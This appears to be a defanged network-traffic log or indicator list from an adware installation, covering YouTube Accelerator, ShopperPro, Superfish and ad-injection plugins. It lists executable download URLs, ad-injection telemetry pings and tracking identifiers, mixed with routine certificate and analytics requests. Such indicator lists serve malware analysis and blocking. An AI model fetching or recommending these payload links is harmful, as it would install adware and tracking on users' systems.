hxxp://appshat.com/thumbnails/icon/images/assets/4/4/442a5f30204dd385d17de5848683274f.png
hxxp://appshat.com/thumbnails/icon/images/assets/d/5/d586df222f5069b6c396373d67d0163b.png
hxxp://94.31.29.248/res/helper.min.js
hxxp://207.46.194.8/mstag/site/649013f9-6914-436e-ba0b-dcbf07bc69d7/mstag.js
hxxp://wvh6rmp-su78sj1t.netdna-ssl.com/app/t.ashx?uid=572a1153-8705-4466-affe-b5bad540fde1&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLDU3MmExMTUzLTg3MDUtNDQ2Ni1hZmZlLWI1YmFkNTQwZmRlMSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTY2JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423719241&aff=JSsmtycl&ver=2.6.8418.1499&usid=2858020935-2156992550-3658131804
hxxp://198.232.124.37/js/sg_bg.js?AFFILIATE_ID=cfvt_sg&SUB_DISTRIBUTER_ID=iF2CwJSsmtycl&BRAND_DISPLAY_NAME=ShopperPro&FALLBACK_URL=http://i.sbitinjs.info/sbitin/javascript.js?hid=572a1153-8705-4466-affe-b5bad540fde1&apptitle=ShopperPro&channel=iF2CwJSsmtycl
hxxp://54.86.40.33/affiliate/client?dist=141&sub=IF2Cwsmtycl&name=ShopperPro
hxxp://appshat.com/thumbnails/icon/images/assets/b/8/b85261679e262228a562f693b3e6ef6f.png
hxxp://test.youtubeaccelerator.com/YTAFinishInstall.gif
hxxp://appshat.com/thumbnails/icon/images/assets/5/9/59982d8527c0da41e35817e8fc15c0fc.png
hxxp://appshat.com/thumbnails/icon/images/assets/d/d/ddb3b88cf98eb0220c9e6c252e376749.png
hxxp://appshat.com/thumbnails/icon/images/assets/b/1/b147a5a09b49b133d347bd975a4c5616.png
hxxp://appshat.com/thumbnails/icon/images/assets/5/6/567f43cb72fe3ac6419369953394cadd.png
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?f2d0af29e9299eab
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?c491f950816d5df1
hxxp://appshat.com/thumbnails/icon/images/assets/a/c/ace33f0a1eddf74bbe8d1bfac70deded.png
hxxp://d2wy0yopxw6nne.cloudfront.net/jollywallet/resources/js/2/affiliate_client.js 54.230.200.78
hxxp://youtube-ui.l.google.com/r/collect?v=1&_v=j32&a=10557442&t=pageview&_s=1&dl=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&ul=en-us&de=utf-8&dt=Thank you for Installing YouTube Accelerator&sd=24-bit&sr=1716x901&vp=1716x804&je=1&_u=MEAAAAQAI~&jid=2089329185&cid=859618243.1423719243&tid=UA-40752970-2&_r=1&z=1252996374
hxxp://207.46.194.8/mstag/mstag.1003102000.js
hxxp://198.232.125.3/gen/helper.js
hxxp://108.162.200.127/script/14567725608/preload.js?subid=F2Cwsmtycl1-572a1153-8705-4466-affe-b5bad540fde1
hxxp://pagead46.l.doubleclick.net/pagead/viewthroughconversion/971163981/?random=374445173&cv=7&fst=1423719243317&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0
hxxp://cs9.wac.edgecastcdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc=
hxxp://207.46.194.8/mstag/tag/649013f9-6914-436e-ba0b-dcbf07bc69d7/analytics.js?ver=1404240900
hxxp://www.google.com/ads/conversion/971163981/?random=374445173&cv=7&fst=1423719243317&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3611532254
hxxp://94.31.29.248/res/beat/204/xdmframe.htm?xdm_e=http://www.youtubeaccelerator.com&xdm_c=default5755&xdm_p=1
hxxp://108.162.200.127/script/layer.js?pid=14567725608&ln=en
hxxp://www.google.com.ua/ads/conversion/971163981/?random=374445173&cv=7&fst=1423719243317&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3611532254&ipr=y 173.194.113.215
hxxp://94.31.29.248/res/beat/204/Beat.js
hxxp://r.msn.com.nsatc.net/?type=1&domainId=3026708&dedup=1&actionid=238238
hxxp://cs9.wac.edgecastcdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw=
hxxp://a.visadd.com/script/layer/serve?format=1&img=true&cid=layer_fr&isps=false&cbs=0.19523600138734076&sid=14567725608&terms=youtube accelerator, youtube, accelerator, videos, buffering&keywords=youtube accelerator, youtube, accelerator, videos, buffering&dm=youtubeaccelerator.com&charset=utf-8&ttl=Thank you for Installing YouTube Accelerator&adl=true&loc=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&dm=www.youtubeaccelerator.com&subid=F2Cwsmtycl1-572a1153-8705-4466-affe-b5bad540fde1&um=Powered by Shopper-Pro
hxxp://wvh6rmp-su78sj1t.netdna-ssl.com/api/geo?callback=Beat111008124180059069079_1423719242702&_=1423719242703
hxxp://a.visadd.com/internal/reporter?v=2&subid=F2Cwsmtycl1-572a1153-8705-4466-affe-b5bad540fde1&format=1&ai=990&ctxu=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&fb=false&cid=99&cbs=0.8252749752508812&sid=14567725608&terms=youtube accelerator, youtube, accelerator, videos, buffering&keywords=youtube accelerator, youtube, accelerator, videos, buffering&dm=youtubeaccelerator.com&charset=utf-8&ttl=Thank you for Installing YouTube Accelerator&loc=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&dm=www.youtubeaccelerator.com&subid=F2Cwsmtycl1-572a1153-8705-4466-affe-b5bad540fde1&um=Powered by Shopper-Pro
hxxp://94.31.29.248/res/helper.min.js?v=230&domain=zb8da386b03122aa41bea079711f430f5zce210e711f94f3dfb9aba8a77e2128c8z270e890f3e9baacc96c0d9428a3195d7zfa7c8af5304a3392922f34e32b677892zf5dde6ea6b27bdcacbac28274daf3a00ze3a52fd8f8d85a0733e461f9a6fd8f2dz50cfd0ac63ed9d9916963ee201fbb0b7z732a17dd70f8fe3c0de4230a126fd8a5&geo=UA
hxxp://66.70.34.103/ws/sf_preloader.jsp?dlsource=viktczu&userId=572a115387054466affeb5bad540fde1&partnername=ShopperPro&CTID=xUSIF2Cwsmtycl&ver=2015.2.11.10.1
hxxp://66.70.34.103/ws/userData.jsp?dlsource=viktczu&userid=NTBCNTBC&ver=2015.2.11.10.1
hxxp://66.70.34.103/ws/getUD.action?dlsource=viktczu&userId=a808235d-2e33-63b7-f57c-3a35b2c1abef-2de&ver=15.2.8
hxxp://test.youtubeaccelerator.com/favicon.ico
hxxp://wvh6rmp-su78sj1t.netdna-ssl.com/app/t.ashx?uid=572a1153-8705-4466-affe-b5bad540fde1&bn=IE&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLDU3MmExMTUzLTg3MDUtNDQ2Ni1hZmZlLWI1YmFkNTQwZmRlMSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTY2JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423719247&aff=smtycl&ver=2.6.8418.1499&usid=2858020935-2156992550-3658131804
hxxp://wvh6rmp-su78sj1t.netdna-ssl.com/app/t.ashx?uid=572a1153-8705-4466-affe-b5bad540fde1&bn=IE_BDrive&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLDU3MmExMTUzLTg3MDUtNDQ2Ni1hZmZlLWI1YmFkNTQwZmRlMSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTY2JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423719247&aff=smtycl&ver=2.6.8418.1499&usid=2858020935-2156992550-3658131804
hxxp://66.70.34.103/ws/tu.action?userId=a808235d-2e33-63b7-f57c-3a35b2c1abef-2de&referrer=&page_url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&page_title=Thank you for Installing YouTube Accelerator
hxxp://66.70.34.103/ws/sf_code.jsp?dlsource=viktczu&userid=a808235d-2e33-63b7-f57c-3a35b2c1abef-2de&partnername=pelmmbomol&CTID=xUSIF2Cwsmtycl&ver=2015.2.11.10.1
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTBHO&bhov=1.0.1.4&rnd=3731&action=Inject&text=GeneralInjector&usid=2858020935-2156992550-3658131804&pixguid=572a1153-8705-4466-affe-b5bad540fde1&it=6 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTBHO&bhov=1.0.1.4&rnd=3731&action=Inject&text=JollyWallet&usid=2858020935-2156992550-3658131804&pixguid=572a1153-8705-4466-affe-b5bad540fde1&it=6 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTBHO&bhov=1.0.1.4&rnd=3731&action=Init&text=BHO version: 1.0.1.4. IE version: 10.0.9200.16521. DB name: database1_0_0.json. DB version: 1.0.1.0&usid=2858020935-2156992550-3658131804&pixguid=572a1153-8705-4466-affe-b5bad540fde1&it=6 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTBHO&bhov=1.0.1.4&rnd=3731&action=Inject&text=DealPly_NoPriceGong&usid=2858020935-2156992550-3658131804&pixguid=572a1153-8705-4466-affe-b5bad540fde1&it=6 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTBHO&bhov=1.0.1.4&rnd=3731&action=Inject&text=PriceGong_DealPly&usid=2858020935-2156992550-3658131804&pixguid=572a1153-8705-4466-affe-b5bad540fde1&it=6 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTBHO&bhov=1.0.1.4&rnd=3731&action=Inject&text=GoobzoInfo&usid=2858020935-2156992550-3658131804&pixguid=572a1153-8705-4466-affe-b5bad540fde1&it=6 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2poN0mNQrpltmZheUL K4kTi0dT3oZebpKM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXOvLBF7h Ky091qtryhzhzNfFyb8RVzNTvokZ0dxrzDKhqh1L6MxPEK3NE8U9vFRP&product=EXTBHO&bhov=1.1.2.0&rnd=4596&action=Init&text=BHO version: 1.1.2.0. IE version: 10.0.9200.16521. DB name: yta_database1_0_0.json. DB version: 1.0.0.1&usid=2858020935-2156992550-3658131804&pixguid=572a1153-8705-4466-affe-b5bad540fde1&it=6 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTBHO&bhov=1.0.1.4&rnd=3731&action=Inject&text=SuperFish&usid=2858020935-2156992550-3658131804&pixguid=572a1153-8705-4466-affe-b5bad540fde1&it=6 54.197.238.106
hxxp://66.70.34.103/ws/slideup2/main.js?ver=2015.2.11.10.1
hxxp://66.70.34.103/ws/side_slider/main.js?ver=2015.2.11.10.1
hxxp://66.70.34.103/ws/js/base_single_icon.js?ver=2015.2.11.10.1
hxxp://googleapis.l.google.com/ajax/libs/jquery/1.7.1/jquery.min.js
hxxp://66.70.34.103/ws/products/main.js?v=2015.2.11.10.1&partnername=pelmmbomol
hxxp://66.70.34.103/ws/css/main.css?v=2015.2.11.10.1
hxxp://66.70.34.103/ws/getSupportedSitesJSON.action?ver=14.11.12.1&callback=SF_isURISupported
hxxp://e6845.ce.akamaiedge.net/crls/secureca.crl
hxxp://e8218.ce.akamaiedge.net/MEQwQjBAMD4wPDAJBgUrDgMCGgUABBSxtDkXkBa3l3lQEfFgudSiPNvt7gQUAPkqw0GRtsnCuD5V8sCXEROgByACAwI6dg==
hxxp://youtube-ui.l.google.com/ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCBH5CtNBDuCd
hxxp://66.70.34.103/ws/retargeting/main.js?ver=2015.2.11.10.1
hxxp://66.70.34.103/ws/retargeting/server_layer.html?dlsource=viktczu&userid=a808235d-2e33-63b7-f57c-3a35b2c1abef-2de&CD_CTID=xUSIF2Cwsmtycl&version=2015.2.11.10.1&pageUrl=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&merchantName=youtubeaccelerator.com&appDomain=http://www.superfish.com/ws/&browser=ie10&imageDomain=http://static*.superfish.com/images_np/shared/sys_v2/images/&country=UA&language=en&tier1_bucket=&tier1_curr_group=800&tier1_next_group=858&tier1_prev_group=766&tier2_bucket=2015w04_auto_open_initiated_until_click&tier2_curr_group=343&tier2_next_group=321&tier2_prev_group=909
hxxp://66.70.34.103/ws/retargeting/server_layer.js
hxxp://a1363.dscg.akamai.net/pki/crl/products/microsoftrootcert.crl
hxxp://a1363.dscg.akamai.net/pki/crl/products/WinPCA.crl
hxxp://a1363.dscg.akamai.net/pki/crl/products/MicrosoftTimeStampPCA.crl
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab?ce20946eb52ebf7e
hxxp://www.theviilage.com/windowspm/up?ptid=wpmvt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.1714&uid=&upv=
hxxp://gs1.wac.v2cdn.net/baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc=
hxxp://hostedocsp.globalsign.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68=
hxxp://cs1.wpc.v0cdn.net/pki/mscorp/crl/msitwww2.crl
hxxp://www.theviilage.com/searchprotect/up?ptid=smt&sid=IHProtectPlugin&ln=en_us&ver=4.0.1.1716&uid=535559167_198339_B48A115F&dp=0
hxxp://www.appshat.com/css/lightbox.css
hxxp://www.appshat.com/thumbnails/banner/images/assets/1/f/1f8ffa22b53dfc2f6b7f1850bb6b73e8.png
hxxp://inst.shoppingate.info/js/sg_bg.js?AFFILIATE_ID=cfvt_sg&SUB_DISTRIBUTER_ID=iF2CwJSsmtycl&BRAND_DISPLAY_NAME=ShopperPro&FALLBACK_URL=http://i.sbitinjs.info/sbitin/javascript.js?hid=572a1153-8705-4466-affe-b5bad540fde1&apptitle=ShopperPro&channel=iF2CwJSsmtycl
hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=mystartsearch&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=3&index_in_screen=1&index_in_session=3&0.46785430618710005
hxxp://clients1.google.com/ocsp
hxxp://d2wy0yopxw6nne.cloudfront.net/sponsored/speedbit/eula-youtubeaccelerator.html 54.230.200.78
hxxp://dl.ourgendataservice.com/smt2b/all/hat/row/setup.exe_e 69.16.175.42
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=mystartsearch&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=3&index_in_screen=1&index_in_session=3&0.6985471650228627
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va9T0skxmwV AvCKQhXfcYgO0JQd5HxgIXe6hh4TSs5wkW3TZxLuun9qBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLa5/6I3/Sv7o41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCYXwql6nKegU
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=eFCD8T/coidPNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaFauHVJPRpz7BQC drCF7eFNKi8z8Pj2nJ/Of1VTlRDPh0Xkjmrfrln7YYdA 6NHJnMOf/uUofLPn8XP 2KKeMU66BvNwpbNqIcyxjb7yeqZLHjDTPh9NKhBoIe Q7libfUyvMFk8ry6fMl7CyXcaP2Up7XwfOPtsDfsjJGkYd1uXeUpSjjYG888bFRwZXWy318jND4gr dsPQLzyLMtOuD98VNsw1snm1qh7b9qBNFiATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS2uf iN/0r 6ONUMNHWzot8A49CBIcTDb4bpIdHF2rYy8Pe6HNVF8wmF8KpepynoFA==
hxxp://www.appshat.com/thumbnails/icon/images/assets/d/5/d586df222f5069b6c396373d67d0163b.png
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=bNFVvuIwcz4aXrHZgA5m3xUhutYh79jv3Pumfblmu5B9EKWfiY9Pr9w9nGpQKxy7XNTRnwhCuR7 w54tsebgskPQ8F7SrDab/EmjUQkbJhE8p7C9xhBPU6a0yRzcJ0yb8cm9dOD9qQIA7ezX8WZgWM7a8MPvRSFp ceFAG3lI3nDtFzkcx43pfkIt A1fNYZvQAY7labZ/L/Gp5D/J/XcqyrehRRRow5j8HEnk34z92MM1rQPB7y4Tv2kKrfAiRLZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmC3hPceosn9U7oJPbo3A23YQ7ThJqxM9xchHWwrE8V1NxbQwCDWyhFWgpx3XeR1Dp7OBGnL40M1tCKrCQNpvqPPE/Rh6jjkLn1EQJzl1KqpQA==
hxxp://d3bg798gjlk71j.cloudfront.net/yta33_sh_full.exe
hxxp://d1mvy92rurx48h.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe
hxxp://www.youtubeaccelerator.com/img/youtube-accelerator-logo.png
hxxp://ajax.googleapis.com/ajax/libs/jqueryui/1.10.3/jquery-ui.min.js 216.58.209.202
hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=appshat_madness&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=4&index_in_screen=1&index_in_session=4&0.7989408640176291
hxxp://g.symcd.com/MEQwQjBAMD4wPDAJBgUrDgMCGgUABBSxtDkXkBa3l3lQEfFgudSiPNvt7gQUAPkqw0GRtsnCuD5V8sCXEROgByACAwI6dg==
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?c491f950816d5df1 88.221.132.48
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=2&index_in_screen=1&index_in_session=2&0.6368685965386823
hxxp://d3dle8xo1zpfnz.cloudfront.net/ytai.exe
hxxp://www.google-analytics.com/r/collect?v=1&_v=j32&a=10557442&t=pageview&_s=1&dl=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&ul=en-us&de=utf-8&dt=Thank you for Installing YouTube Accelerator&sd=24-bit&sr=1716x901&vp=1716x804&je=1&_u=MEAAAAQAI~&jid=2089329185&cid=859618243.1423719243&tid=UA-40752970-2&_r=1&z=1252996374
hxxp://install-cdn.sourceapp.info/sd?is=sm
hxxp://www.youtubeaccelerator.com/ConversionService/GetScript.ashx?s=finish&frame=1&aff=
hxxp://dl.ourgendataservice.com/smt2b/all/hat/row/setup.exe_a 69.16.175.42
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va9DzSREg8dBLdCUHeR8YCF3e0ze47pQVOJ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LP/pHSI lRPAjc/9GqmaG9iEnhH14nzCmezS8dyds6vSws0phWZ1n8A==
